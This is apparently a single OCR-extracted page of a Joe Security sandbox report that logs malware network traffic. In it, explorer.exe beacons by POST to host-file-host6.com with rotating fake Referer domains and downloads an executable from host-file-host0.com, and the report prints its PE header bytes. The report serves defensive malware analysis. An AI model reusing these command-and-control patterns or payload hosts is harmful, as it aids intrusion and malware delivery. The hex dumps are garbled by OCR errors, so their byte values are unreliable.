44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://sdbtf.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 357

Host: host-file-host6.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP  Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jdyptjaakt.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 196

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 36 33 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 Oc
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b5 53 dc 4b d7 f6 27 85 21 eb a9 96 59 28 e3 b6 4d 2a e3 b3 b5 61
fa 91 be 5a ad 75 91 c8 37 42 5c 3f 0a 43 d3 bb 43 b3 f2 5¢ 83 a7 94 09 db 2b 0d Oa 30 0d Oa 0d Oa

Data Ascii: 631:820B%, YR("XSK'lY(M*aZu7B\?CC\+0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Nov 18, 2021 4924
10:30:23.578025103 CET

Nov 18, 2021 4925
10:30:23.688508987 CET

Session ID Source IP
18 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 4925

10:30:23.784233093 CET

Nov 18, 2021 4926
10:30:23.892529011 CET

Session ID Source IP
19 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 4927

10:30:24.462975025 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49781

Direction

ouT

Source Port
49782

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lyescuf.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 144

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:23 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://okbhh.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 217

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:23 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ukbyppnr.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 341

Host: host-file-host6.com
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Timestamp

Nov 18, 2021
10:30:24.569967031 CET

Nov 18, 2021
10:30:24.864259005 CET

Nov 18, 2021
10:30:25.152942896 CET

Session ID
2

Timestamp

Session ID

20

Timestamp

kBytes
transferred

4928

4929

4931

Source IP
192.168.2.7

kBytes
transferred

Source IP

192.168.2.7

kBytes
transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49804

Direction

Source Port

49783

Direction

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e3c 616464 72657373 3e41 70616368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process
162.159.130.233 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

Page 28 of 95



kBytes

Timestamp transferred

Nov 18, 2021 4930

10:30:25.124052048 CET

Nov 18, 2021 4932

10:30:25.237946033 CET

Session ID Source IP

21 192.168.2.7
kBytes

Timestamp transferred

Nov 18, 2021 4932

10:30:25.347500086 CET

Nov 18, 2021 4933

10:30:25.468919039 CET

Session ID Source IP

22 192.168.2.7
kBytes

Timestamp transferred

Nov 18, 2021 4934

10:30:26.051780939 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49784

Direction

ouT

Source Port
49785

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dwqvad.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 323

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:25 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xjgdm.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 279

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:25 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08
8e 2c b4 59 52 db 03 8 e5 2c f3 65 Oc 4d eb a9 e3 1e bb 52 df 4b de fb 21 8d 24 80 ab 94 51 2d f8 €3 00 7e 0d Oa 30 0d
Oa 0d Oa

Data Ascii: 451:820U&,YR,eMRK!$Q-~0

Destination IP  Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

GET /files/9370_1636985686_7616.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-file-host0.com
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kBytes

Timestamp transferred Direction Data
Nov 18, 2021 4935 IN HTTP/1.1 200 OK
10:30:26.191682100 CET Date: Thu, 18 Nov 2021 09:30:26 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Mon, 15 Nov 2021 14:14:46 GMT

ETag: "2e400-5d0d46e5c997c"

Accept-Ranges: bytes

Content-Length: 189440

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0d 6d 92 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
0b 00 00 fe 01 00 00 e2 00 00 00 00 00 00 0a 20 03 00 00 00 01 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 O
0 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 03 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 Oc 01 00 57 00 00 00 00 00 03 00 7e 08 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 03 00 08
00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 48 00 00 00 00 00 00 00 00 00 00 00 49 21 26 17 0d 08 25 2b 48 d4 00 00
00 20 00 00 00 d6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 €0 2e 74 65 78 74 00 00 00 d8 fb 01
00 00 00 01 00 00 fc 01 00 00 da 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 7e 08
00 00 00 00 03 00 00 0a 00 00 00 d6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 10
00 00 00 00 20 03 00 00 02 00 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6¢ 6f 63 00 00
Oc 00 00 00 00 40 03 00 00 02 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELma @ "@$W~@ HI!&%+H @.text ".rsrc~@@

“.reloc@@B

Session ID Source IP Source Port Destination IP Destination Port Process

23 192.168.2.7 49787 188.225.85.124 80 C:\Windows\explorer.exe

kBytes

Timestamp transferred Direction Data

Nov 18, 2021 5135 ouT POST /HTTP/1.1

10:30:29.558854103 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://atanmkbpso.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 238
Host: host-file-host6.com

Nov 18, 2021 5136 IN HTTP/1.1 404 Not Found

10:30:29.665591955 CET Server: nginx/1.20.1
Date: Thu, 18 Nov 2021 09:30:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
